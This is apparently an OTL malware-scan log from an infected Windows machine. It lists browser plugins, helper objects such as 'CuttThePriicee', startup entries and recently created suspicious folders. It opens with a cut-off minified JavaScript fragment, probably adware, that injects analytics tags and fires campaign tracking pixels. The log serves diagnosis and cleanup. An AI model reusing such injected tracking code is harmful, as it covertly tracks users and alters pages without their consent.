ga('testStyloosh.send', 'pageview');}\";var f=document.createElement('script');f.type='text/javascript';f.text=a;b&&b.appendChild(f)},a.shootTestPixels=function©{c==a.testLpCampaignId?(a.injectGA('UA-60126760-2'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-2',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignId2?(a.injectGA('UA-60126760-11'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-11',oh:a.Utils.getHostname(location.href)})):c==a.testLpCampaignIdStatic?(a.injectGA('UA-60126760-6'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-6',oh:a.Utils.getHostname(location.href)})): c==a.testLpCampaignIdStatic2&&(a.injectGA('UA-60126760-13'),a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8002,cid:c,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-13',oh:a.Utils.getHostname(location.href)}))},a.initDirectPixel=function(){if(-1<location.href.indexOf(a.testLp))return a.shootTestPixels(a.testLpCampaignId);if(-1<location.href.indexOf(a.testLp2))return a.shootTestPixels(a.testLpCampaignIdStatic);if(-1<location.href.indexOf(a.testLp3))return a.shootTestPixels(a.testLpCampaignId2); if(-1<location.href.indexOf(a.testLp4))return a.shootTestPixels(a.testLpCampaignIdStatic2);if(-1<location.href.indexOf(a.token)&&-1<location.href.indexOf(a.pxlData))try{if(a.Utils.msie)a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8011,cid:'-7878',tid:3,adtid:0,smid:0,pbid:0,sh:'msie ='+a.Utils.msie,oh:a.Utils.getHostname(location.href)});else{var c=a.Utils.getParams();'object'===typeof c&&(c.ch=8001,a.pixel©,a.runOnCampaigns(c.cid, [309216],function(b){a.loadPixelTestIframe(a.pixelTestIframeBaseURL+'?ch='+c.ch)}),a.runOnCampaigns(c.cid,[a.testLpCampaignId],function(b){a.injectGA('UA-60126760-1');a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignId,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-1',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic],function(b){a.injectGA('UA-60126760-7');a.pixel({pid:'25116', cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignIdStatic,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-7',oh:a.Utils.getHostname(location.href)})}),a.runOnCampaigns(c.cid,[a.testLpCampaignId2],function(b){a.injectGA('UA-60126760-10');a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignId2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-10',oh:a.Utils.getHostname(location.href)})}), a.runOnCampaigns(c.cid,[a.testLpCampaignIdStatic2],function(b){a.injectGA('UA-60126760-12');a.pixel({pid:'25116',cc:'US',eid:'1461',hid:'2021033856717153140',v:0,ch:8007,cid:a.testLpCampaignIdStatic2,tid:3,adtid:0,smid:0,pbid:0,sh:'UA-60126760-12',oh:a.Utils.getHostname(location.href)})}))}}catch(b){var f=255>b.message.length?b.message:b.message.slice(0,255),e=255>location.href.length?location.href:location.href.slice(0,255);(new Image).src=a.createPixelUrl({ch:8020, oh:e,sh:f})}},'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a),a.initDirectPixel())}; }catch(e){}})();");
 
 
FF:[b]64bit:
- HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\system32\Macromed\Flash\NPSWF64_18_0_0_209.dll File not found
FF:[b]64bit:
- HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files\Microsoft Silverlight\5.1.40416.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@adobe.com/FlashPlayer: C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_18_0_0_209.dll ()
FF - HKLM\Software\MozillaPlugins\@adobe.com/ShockwavePlayer: C:\Windows\SysWOW64\Adobe\Director\np32dsw_1218158.dll (Adobe Systems, Inc.)
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=:  File not found
FF - HKLM\Software\MozillaPlugins\@Apple.com/iTunes,version=1.0: C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()
FF - HKLM\Software\MozillaPlugins\@java.com/DTPlugin,version=11.45.2: C:\Program Files (x86)\Java\jre1.8.0_45\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@java.com/JavaPlugin,version=11.45.2: C:\Program Files (x86)\Java\jre1.8.0_45\bin\plugin2\npjp2.dll (Oracle Corporation)
FF - HKLM\Software\MozillaPlugins\@messenger.yahoo.com/YahooMessengerStatePlugin;version=1.0.0.6: C:\Program Files (x86)\Yahoo!\Shared\npYState.dll (Yahoo! Inc.)
FF - HKLM\Software\MozillaPlugins\@Microsoft.com/NpCtrl,version=1.0: c:\Program Files (x86)\Microsoft Silverlight\5.1.40416.0\npctrl.dll ( Microsoft Corporation)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Program Files (x86)\Google\Update\1.3.28.1\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Program Files (x86)\Google\Update\1.3.28.1\npGoogleUpdate3.dll (Google Inc.)
FF - HKLM\Software\MozillaPlugins\@xunlei.com/npxluser: C:\Program Files (x86)\Common Files\Thunder Network\UserAgent\npxluser2.0.2.3.dll File not found
FF - HKCU\Software\MozillaPlugins\@talk.google.com/GoogleTalkPlugin: C:\Users\mewtw_000\AppData\Roaming\Mozilla\plugins\npgoogletalk.dll (Google)
FF - HKCU\Software\MozillaPlugins\@talk.google.com/O1DPlugin: C:\Users\mewtw_000\AppData\Roaming\Mozilla\plugins\npo1d.dll (Google)
FF - HKCU\Software\MozillaPlugins\@tools.google.com/Google Update;version=3: C:\Users\mewtw_000\AppData\Local\Google\Update\1.3.28.1\npGoogleUpdate3.dll (Google Inc.)
FF - HKCU\Software\MozillaPlugins\@tools.google.com/Google Update;version=9: C:\Users\mewtw_000\AppData\Local\Google\Update\1.3.28.1\npGoogleUpdate3.dll (Google Inc.)
FF - HKCU\Software\MozillaPlugins\@xunlei.com/npxluser: C:\Program Files (x86)\Common Files\Thunder Network\UserAgent\npxluser2.0.2.3.dll File not found
 
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 39.0\extensions\\Components: C:\Program Files (x86)\Mozilla Firefox\components
FF - HKEY_LOCAL_MACHINE\software\mozilla\Mozilla Firefox 39.0\extensions\\Plugins: C:\Program Files (x86)\Mozilla Firefox\plugins [2015/06/30 21:28:42 | 000,000,000 | ---D | M]
FF - HKEY_CURRENT_USER\software\mozilla\Mozilla Firefox 38.0.6\extensions\\Components: C:\Program Files (x86)\Mozilla Firefox\components
FF - HKEY_CURRENT_USER\software\mozilla\Mozilla Firefox 38.0.6\extensions\\Plugins: C:\Program Files (x86)\Mozilla Firefox\plugins [2015/06/30 21:28:42 | 000,000,000 | ---D | M]
 
[2015/02/26 21:38:02 | 000,000,000 | ---D | M] (No name found) -- C:\Users\mewtw_000\AppData\Roaming\mozilla\Extensions
[2015/07/29 20:22:19 | 000,000,000 | ---D | M] (No name found) -- C:\Users\mewtw_000\AppData\Roaming\mozilla\Firefox\Profiles\ui2sr9ag.default\extensions
[2015/07/28 21:08:33 | 000,963,213 | ---- | M] () (No name found) -- C:\Users\mewtw_000\AppData\Roaming\mozilla\firefox\profiles\ui2sr9ag.default\extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi
[2015/06/09 23:30:08 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions
[2015/07/08 09:51:19 | 000,000,000 | ---D | M] (Default) -- C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
[2015/07/07 09:40:59 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files (x86)\Mozilla Firefox\updated\browser\extensions
[2015/07/07 09:40:59 | 000,000,000 | ---D | M] (Default) -- C:\Program Files (x86)\Mozilla Firefox\updated\browser\extensions\{972ce4c6-7e08-4474-a285-3208198ce6fd}
 
========== Chrome  ==========
 
CHR - Extension: No name found = C:\Users\mewtw_000\AppData\Local\Google\Chrome\User Data\Default\Extensions\cfhdojbkjhnklbpkdaibdccddilifddb\1.9_0\
CHR - Extension: No name found = C:\Users\mewtw_000\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.1.1.0_0\
 
O1 HOSTS File: ([2013/08/22 06:25:41 | 000,000,824 | ---- | M]) - C:\Windows\SysNative\drivers\etc\hosts
O2:[b]64bit:
- BHO: (no name) - {004B0726-A010-4ABF-8556-FCDB7F1FCA1E} - No CLSID value found.
O2:[b]64bit:
- BHO: (CuttThePriicee) - {FC41A6F5-6C19-493F-852D-AD183119D8DD} - C:\Program Files (x86)\CuttThePriicee\b71JAXTXC5FAod.x64.dll File not found
O2:[b]64bit:
- BHO: (Adblock Plus for IE Browser Helper Object) - {FFCB3198-32F3-4E8B-9539-4324694ED664} - C:\Program Files\Adblock Plus for IE\AdblockPlus64.dll (Eyeo GmbH)
O2 - BHO: (CuttThePriicee) - {FC41A6F5-6C19-493F-852D-AD183119D8DD} - C:\Program Files (x86)\CuttThePriicee\b71JAXTXC5FAod.dll File not found
O2 - BHO: (Adblock Plus for IE Browser Helper Object) - {FFCB3198-32F3-4E8B-9539-4324694ED664} - C:\Program Files\Adblock Plus for IE\AdblockPlus32.dll (Eyeo GmbH)
O3:[b]64bit:
- HKLM\..\Toolbar: (Google Toolbar) - {2318C2B1-4965-11d4-9B18-009027A5CD4F} - C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbar_64.dll (Google Inc.)
O3:[b]64bit:
- HKCU\..\Toolbar\WebBrowser: (Google Toolbar) - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - C:\Program Files (x86)\Google\Google Toolbar\GoogleToolbar_64.dll (Google Inc.)
O4:[b]64bit:
- HKLM..\Run: [AdobeAAMUpdater-1.0] C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe (Adobe Systems Incorporated)
O4:[b]64bit:
- HKLM..\Run: [EKIJ5000StatusMonitor] C:\Windows\SysNative\spool\drivers\x64\3\EKIJ5000MUI.exe (Eastman Kodak Company)
O4:[b]64bit:
- HKLM..\Run: [NvBackend] C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe (NVIDIA Corporation)
O4:[b]64bit:
- HKLM..\Run: [ShadowPlay] C:\Windows\SysNative\nvspcap64.dll (NVIDIA Corporation)
O4 - HKLM..\Run: [AdobeCS6ServiceManager] C:\Program Files (x86)\Common Files\Adobe\CS6ServiceManager\CS6ServiceManager.exe (Adobe Systems Incorporated)
O4 - HKLM..\Run: [CloneCDTray] C:\Program Files (x86)\SlySoft\CloneCD\CloneCDTray.exe (SlySoft, Inc.)
O4 - HKLM..\Run: [IObit Malware Fighter] C:\Program Files (x86)\IObit\IObit Malware Fighter\IMF.exe (IObit)
O4 - HKLM..\Run: [LogMeIn Hamachi Ui] C:\Program Files (x86)\LogMeIn Hamachi\hamachi-2-ui.exe (LogMeIn Inc.)
O4 - HKLM..\Run: [RazerCortex] C:\Program Files (x86)\Razer\Razer Cortex\RazerCortex.exe (Razer Inc.)
O4 - HKLM..\Run: [SwitchBoard] C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe (Adobe Systems Incorporated)
O4 - HKLM..\Run: [WinampAgent] C:\Program Files (x86)\Winamp\winampa.exe (Nullsoft, Inc.)
O4 - HKCU..\Run: [AdobeBridge]  File not found
O4 - HKCU..\Run: [Advanced SystemCare 8] C:\Program Files (x86)\IObit\Advanced SystemCare 8\ASCTray.exe (IObit)
O4 - HKCU..\Run: [Aim] C:\Program Files (x86)\AIM\aim.exe (AOL Inc.)
O4 - HKCU..\Run: [Amazon Music] C:\Users\mewtw_000\AppData\Local\Amazon Music\Amazon Music Helper.exe ()
O4 - HKCU..\Run: [DAEMON Tools Pro Agent] C:\Program Files\DAEMON Tools Pro\DTAgent.exe (Disc Soft Ltd)
O4 - HKCU..\Run: [GameCompanion] C:\Users\mewtw_000\AppData\Roaming\GameCompanion\GameCompanion.exe ()
O4 - HKCU..\Run: [ManyCam] C:\Program Files (x86)\ManyCam\ManyCam.exe (Visicom Media Inc.)
O4 - HKCU..\Run: [Messenger (Yahoo!)] C:\Program Files (x86)\Yahoo!\Messenger\YahooMessenger.exe (Yahoo! Inc.)
O4 - HKCU..\Run: [ooVoo.exe] C:\Program Files (x86)\ooVoo\oovoo.exe (ooVoo LLC)
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktopChanges = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoActiveDesktop = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 5
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableCursorSuppression = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O7 - HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoInternetIcon = 1
O8:[b]64bit:
- Extra context menu item: &ʹÓÃ&ѸÀ×ÀëÏßÏÂÔØ - C:\Program Files (x86)\Thunder Network\Thunder\BHO\OfflineDownload.htm File not found
O8:[b]64bit:
- Extra context menu item: &ʹÓÃ&ѸÀ×ÏÂÔØ - C:\Program Files (x86)\Thunder Network\Thunder\BHO\geturl.htm File not found
O8:[b]64bit:
- Extra context menu item: &ʹÓÃ&ѸÀ×ÏÂÔØÈ«²¿Á´½Ó - C:\Program Files (x86)\Thunder Network\Thunder\BHO\GetAllUrl.htm File not found
O8 - Extra context menu item: &ʹÓÃ&ѸÀ×ÀëÏßÏÂÔØ - C:\Program Files (x86)\Thunder Network\Thunder\BHO\OfflineDownload.htm File not found
O8 - Extra context menu item: &ʹÓÃ&ѸÀ×ÏÂÔØ - C:\Program Files (x86)\Thunder Network\Thunder\BHO\geturl.htm File not found
O8 - Extra context menu item: &ʹÓÃ&ѸÀ×ÏÂÔØÈ«²¿Á´½Ó - C:\Program Files (x86)\Thunder Network\Thunder\BHO\GetAllUrl.htm File not found
O9:[b]64bit:
- Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\SkypeIEPlugin.dll (Microsoft Corporation)
O9 - Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O10:[b]64bit:
- NameSpace_Catalog5\Catalog_Entries64\000000000007 [] - C:\Program Files\Bonjour\mdnsNSP.dll (Apple Inc.)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000007 [] - C:\Program Files (x86)\Bonjour\mdnsNSP.dll (Apple Inc.)
O13[b]64bit:
- gopher Prefix: missing
O13 - gopher Prefix: missing
O15 - HKCU\..Trusted Domains: clonewarsadventures.com ([]* in Trusted sites)
O15 - HKCU\..Trusted Domains: freerealms.com ([]* in Trusted sites)
O15 - HKCU\..Trusted Domains: soe.com ([]* in Trusted sites)
O15 - HKCU\..Trusted Domains: sony.com ([]* in Trusted sites)
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{6A3289C7-BD23-427E-BDC4-302EF88A4A73}: DhcpNameServer = 192.168.1.1
O18:[b]64bit:
- Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer x64\SkypeIEPlugin.dll (Microsoft Corporation)
O18 - Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files (x86)\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O20:[b]64bit:
- HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\explorer.exe (Microsoft Corporation)
O20:[b]64bit:
- HKLM Winlogon: UserInit - (C:\Windows\system32\userinit.exe) - C:\Windows\SysNative\userinit.exe (Microsoft Corporation)
O20 - HKLM Winlogon: Shell - (explorer.exe) - C:\Windows\SysWow64\explorer.exe (Microsoft Corporation)
O20 - HKLM Winlogon: UserInit - (userinit.exe) - C:\Windows\SysWow64\userinit.exe (Microsoft Corporation)
O21:[b]64bit:
- SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O21 - SSODL: WebCheck - {E6FB5E20-DE35-11CF-9C87-00AA005127ED} - No CLSID value found.
O32 - HKLM CDRom: AutoRun - 1
O33 - MountPoints2\{69e60a47-ef73-11e4-829a-bc5ff44e079e}\Shell - "" = AutoRun
O33 - MountPoints2\{69e60a47-ef73-11e4-829a-bc5ff44e079e}\Shell\AutoRun\command - "" = "H:\WD SmartWare.exe" autoplay=true
O34 - HKLM BootExecute: (autocheck autochk /p \??\D:)
O34 - HKLM BootExecute: (autocheck autochk *)
O35:[b]64bit:
- HKLM\..comfile [open] -- "%1" %*
O35:[b]64bit:
- HKLM\..exefile [open] -- "%1" %*
O35 - HKLM\..comfile [open] -- "%1" %*
O35 - HKLM\..exefile [open] -- "%1" %*
O37:[b]64bit:
- HKLM\...com [@ = comfile] -- "%1" %*
O37:[b]64bit:
- HKLM\...exe [@ = exefile] -- "%1" %*
O37 - HKLM\...com [@ = comfile] -- "%1" %*
O37 - HKLM\...exe [@ = exefile] -- "%1" %*
O38 - SubSystems\\Windows: (ServerDll=winsrv:UserServerDllInitialization,3)
O38 - SubSystems\\Windows: (ServerDll=sxssrv,4)
 
========== Files/Folders - Created Within 30 Days ==========
 
[2015/07/29 22:10:33 | 000,602,112 | ---- | C] (OldTimer Tools) -- C:\Users\mewtw_000\Desktop\OTL.exe
[2015/07/29 18:55:54 | 001,571,512 | ---- | C] (NVIDIA Corporation) -- C:\Windows\SysNative\nvspcap64.dll
[2015/07/29 18:55:54 | 001,320,304 | ---- | C] (NVIDIA Corporation) -- C:\Windows\SysWow64\nvspcap.dll
[2015/07/29 18:18:49 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight
[2015/07/29 18:17:50 | 000,185,856 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rascfg.dll
[2015/07/29 18:17:50 | 000,164,864 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\rascfg.dll
[2015/07/29 18:17:44 | 000,487,256 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\netcfgx.dll
[2015/07/29 18:17:44 | 000,393,560 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\netcfgx.dll
[2015/07/29 14:28:19 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\ѸÀ×ÓÎÏ·
[2015/07/29 14:27:50 | 000,000,000 | ---D | C] -- C:\Program Files\Common Files\Thunder Network
[2015/07/29 14:26:50 | 000,655,872 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msvcr90.dll
[2015/07/29 14:26:50 | 000,568,832 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\msvcp90.dll
[2015/07/29 14:26:49 | 000,159,032 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\atl90.dll
[2015/07/29 14:26:44 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\Xunlei
[2015/07/29 14:26:42 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Baidu
[2015/07/29 14:26:38 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\ѸÀ×Èí¼þ
[2015/07/29 14:26:26 | 000,000,000 | ---D | C] -- C:\ProgramData\Thunder Network
[2015/07/29 14:26:26 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Thunder Network
[2015/07/29 14:26:26 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Common Files\Thunder Network
[2015/07/28 00:23:23 | 001,084,928 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\appraiser.dll
[2015/07/27 18:07:44 | 000,000,000 | ---D | C] -- C:\ProgramData\RogueKiller
[2015/07/27 17:52:37 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\wincheck
[2015/07/27 17:51:22 | 000,000,000 | ---D | C] -- C:\ProgramData\{b033fd66-2075-590e-b033-3fd66207f598}
[2015/07/27 14:54:54 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Local\Anvisoft
[2015/07/27 14:53:28 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Anvisoft
[2015/07/27 14:53:26 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Anvisoft
[2015/07/27 13:12:11 | 000,000,000 | ---D | C] -- C:\Program Files\Adblock Plus for IE
[2015/07/27 01:54:28 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\StrengthPlus
[2015/07/27 01:53:01 | 000,000,000 | ---D | C] -- C:\ProgramData\{ce44d4ce-1e79-11df-ce44-4d4ce1e75338}
[2015/07/27 01:36:54 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\Identities
[2015/07/27 01:24:01 | 000,000,000 | ---D | C] -- C:\ProgramData\{8142cd83-e0b3-b079-8142-2cd83e0b360f}
[2015/07/26 23:23:08 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Local\Opera Software
[2015/07/26 23:23:07 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\Opera Software
[2015/07/26 23:15:21 | 000,000,000 | ---D | C] -- C:\ProgramData\818aea0000007a8
[2015/07/26 23:12:49 | 000,000,000 | ---D | C] -- C:\ProgramData\b803a353000011ad
[2015/07/26 23:11:12 | 000,000,000 | -H-D | C] -- C:\ProgramData\ous
[2015/07/26 23:07:54 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PepperZip
[2015/07/26 23:05:22 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Local\globalUpdate
[2015/07/26 23:05:04 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\Portable WeatherApp
[2015/07/26 23:03:44 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Local\AC91026F-456E-E04D-8CC6-B324BA6FE564
[2015/07/26 23:01:16 | 000,000,000 | ---D | C] -- C:\ProgramData\abc
[2015/07/26 22:58:40 | 000,000,000 | ---D | C] -- C:\Program Files\SpaceSoundPro
[2015/07/26 22:58:03 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Common Files\Umbrella
[2015/07/26 22:57:52 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\app_setup
[2015/07/26 01:24:01 | 000,000,000 | ---D | C] -- C:\ProgramData\{5542381a-6690-efc2-5542-2381a669e069}
[2015/07/23 05:08:13 | 018,823,680 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\Windows.UI.Xaml.dll
[2015/07/23 05:08:13 | 015,159,296 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\Windows.UI.Xaml.dll
[2015/07/23 05:07:54 | 000,428,888 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\drivers\FWPKCLNT.SYS
[2015/07/22 16:09:44 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Local\CEF
[2015/07/21 20:11:22 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Roaming\MaskMyIP
[2015/07/21 20:11:22 | 000,000,000 | ---D | C] -- C:\ProgramData\MaskMyIP
[2015/07/21 10:48:36 | 000,000,000 | ---D | C] -- C:\ProgramData\Ebon
[2015/07/21 10:46:54 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\ba79f054-ecf3-4e6d-a328-88f3376788a5
[2015/07/21 10:45:10 | 000,000,000 | ---D | C] -- C:\ProgramData\Ebonmedia
[2015/07/21 01:25:14 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\RelayDouble
[2015/07/21 01:24:57 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\Steam Trader Helper
[2015/07/21 01:24:01 | 000,000,000 | ---D | C] -- C:\ProgramData\{de15af3f-55bc-e8cd-de15-5af3f55bbcfd}
[2015/07/20 18:04:41 | 000,358,912 | ---- | C] (Adobe Systems Incorporated) -- C:\Windows\SysNative\atmfd.dll
[2015/07/20 18:04:41 | 000,301,056 | ---- | C] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\atmfd.dll
[2015/07/20 18:04:41 | 000,044,032 | ---- | C] (Adobe Systems) -- C:\Windows\SysNative\atmlib.dll
[2015/07/20 18:04:41 | 000,035,840 | ---- | C] (Adobe Systems) -- C:\Windows\SysWow64\atmlib.dll
[2015/07/16 23:38:00 | 000,000,000 | ---D | C] -- C:\Program Files\Microsoft Xbox One Controller for Windows
[2015/07/16 22:13:58 | 000,000,000 | ---D | C] -- C:\Users\mewtw_000\AppData\Local\BetterDS3
[2015/07/16 12:45:24 | 000,792,568 | ---- | C] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerApp.exe
[2015/07/16 12:45:24 | 000,178,168 | ---- | C] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerCPLApp.cpl
[2015/07/15 13:36:45 | 000,037,184 | ---- | C] (Razer, Inc.) -- C:\Windows\SysNative\drivers\rzpmgrk.sys
[2015/07/14 21:34:39 | 000,000,000 | ---D | C] -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\iTunes
[2015/07/14 21:34:29 | 000,000,000 | ---D | C] -- C:\Program Files\iTunes
[2015/07/14 21:34:29 | 000,000,000 | ---D | C] -- C:\Program Files (x86)\iTunes
[2015/07/14 21:34:29 | 000,000,000 | ---D | C] -- C:\Program Files\iPod
[2015/07/14 16:37:51 | 001,145,856 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\aeinv.dll
[2015/07/14 16:37:51 | 000,764,928 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\invagent.dll
[2015/07/14 16:37:51 | 000,726,528 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\generaltel.dll
[2015/07/14 16:37:51 | 000,433,152 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\devinv.dll
[2015/07/14 16:37:51 | 000,026,288 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\CompatTelRunner.exe
[2015/07/14 16:37:50 | 000,227,328 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\aepdu.dll
[2015/07/14 16:37:50 | 000,067,584 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\acmigration.dll
[2015/07/14 16:37:46 | 003,320,320 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\msi.dll
[2015/07/14 16:37:46 | 002,774,528 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\authui.dll
[2015/07/14 16:37:46 | 002,460,160 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\authui.dll
[2015/07/14 16:37:43 | 001,311,960 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\rpcrt4.dll
[2015/07/14 16:37:42 | 001,441,792 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\lsasrv.dll
[2015/07/14 16:37:42 | 000,445,440 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\certcli.dll
[2015/07/14 16:37:41 | 000,324,096 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\certcli.dll
[2015/07/14 16:37:17 | 000,230,400 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\AudioEndpointBuilder.dll
[2015/07/14 16:37:17 | 000,037,888 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\werdiagcontroller.dll
[2015/07/14 16:37:14 | 005,923,840 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\jscript9.dll
[2015/07/14 16:37:10 | 002,229,248 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wucltux.dll
[2015/07/14 16:37:10 | 000,891,904 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wuapi.dll
[2015/07/14 16:37:10 | 000,721,920 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysWow64\wuapi.dll
[2015/07/14 16:37:10 | 000,409,088 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\WUSettingsProvider.dll
[2015/07/14 16:37:10 | 000,359,936 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\WinSetupUI.dll
[2015/07/14 16:37:10 | 000,140,288 | ---- | C] (Microsoft Corporation) -- C:\Windows\SysNative\wuwebv.dll
